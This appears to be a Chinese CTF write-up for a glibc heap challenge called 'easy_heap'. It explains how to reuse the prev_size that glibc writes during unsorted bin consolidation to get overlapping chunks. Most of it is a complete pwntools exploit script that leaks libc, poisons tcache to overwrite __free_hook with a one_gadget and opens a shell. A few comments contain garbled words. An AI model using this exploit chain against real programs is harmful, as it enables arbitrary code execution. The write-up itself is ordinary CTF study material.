题目分析
学长(衣食父母)出的题当然要好好分析了,不看ctfwiki我也分析不明白
在没有办法手动写入 prev_size ,但又必须使用 prev_size 才可以进行利用的情况下,考虑使用系统写入的 prev_size 。
方法为:在 unsorted bin 合并时会写入 prev_size,而该 prev_size 不会被轻易覆盖(除非有新的 prev_size 需要写入),所以可以利用该 prev_size 进行利用。
攻击流程
- 将 A -> B -> C 三块 unsorted bin chunk 依次进行释放
- A 和 B 合并,此时 C 前的 prev_size 写入为 0x200
- A 、 B 、 C 合并,步骤 2 中写入的 0x200 依然保持
- 利用 unsorted bin 切分,分配出 A
- 利用 unsorted bin 切分,分配出 B,注意此时不要覆盖到之前的 0x200
- 将 A 再次释放为 unsorted bin 的堆块,使得 fd 和 bk 为有效链表指针
- 此时 C 前的 prev_size 依然为 0x200(未使用到的值),A B C 的情况: A (free) -> B (allocated) -> C (free),如果使得 B -- 进行溢出,则可以将已分配的 B 块包含在合并后的释放状态 unsorted bin 块中。
但是在这个过程中需要注意 tcache 的影响。
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
import sys
import os
import os.path
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p = process('./easy_heap')
def cmd(idx):
p.recvuntil('>')
p.sendline(str(idx))
def new(size, content):
cmd(1)
p.recvuntil('>')
p.sendline(str(size))
p.recvuntil('> ')
if len(content) >= size:
p.send(content)
else:
p.sendline(content)
def delete(idx):
cmd(2)
p.recvuntil('index \n> ')
p.sendline(str(idx))
def show(idx):
cmd(3)
p.recvuntil('> ')
p.sendline(str(idx))
return p.recvline()[:-1]
def main():
# Your exploit script goes here
# step 1: get three unsortedbin chunks
# note that to avoid top consolidation, we need to arrange them like:
# tcache * 6 -> unsortd * 3 -> tcache
for i in range(7):
new(0x10, str(i) + ' - tcache')
for i in range(3):
new(0x10, str(i + 7) + ' - unsorted') # three unsorted bin chunks
# arrange:
for i in range(6):
delete(i)
delete(9) #第十个块是tcache防合并块
for i in range(6, 9):
delete(i) #设置第二个块的presize为0x200
# step 2: use unsorted bin to overflow, and do unlink, trigger consolidation (overecvlineap)
for i in range(7):
new(0x10, str(i) + ' - tcache')
# rearrange to take second unsorted bin into tcache chunk, but leave first
# unsorted bin unchanged
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')
for i in range(6):
delete(i)
# move second into tcache
delete(8)
# delete first to provide valid fd & bk
delete(7)
new(0xf8, '0 - overflow') #跳过presize直接设置size的inuse为0
# fill up tcache
delete(6)
# trigger
delete(9)
# step 3: leak, fill up
for i in range(7):
new(0x10, str(i) + ' - tcache')
new(0x10, '8 - fillup')
libc_leak = u64(show(0).strip().ljust(8, '\x00'))
p.info('libc leak {}'.format(hex(libc_leak)))
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc.address = libc_leak - 0x3ebca0
one_gadget = libc.address + 324386
# step 4: constrecvuntilct UAF, write into __free_hook
new(0x10, '9 - next')
# these two provides sendlineots for tcache
delete(2) #多释放一个,因为后面申请的时候最后一个可控地址块是第三个,ctfwiki这里有一点小问题
delete(0)
delete(9)
new(0x10, p64(libc.symbols['__free_hook'])) # 0
new(0x10, '')
new(0x10, p64(one_gadget))
delete(1)
p.interactive()
if __name__ == '__main__':
main()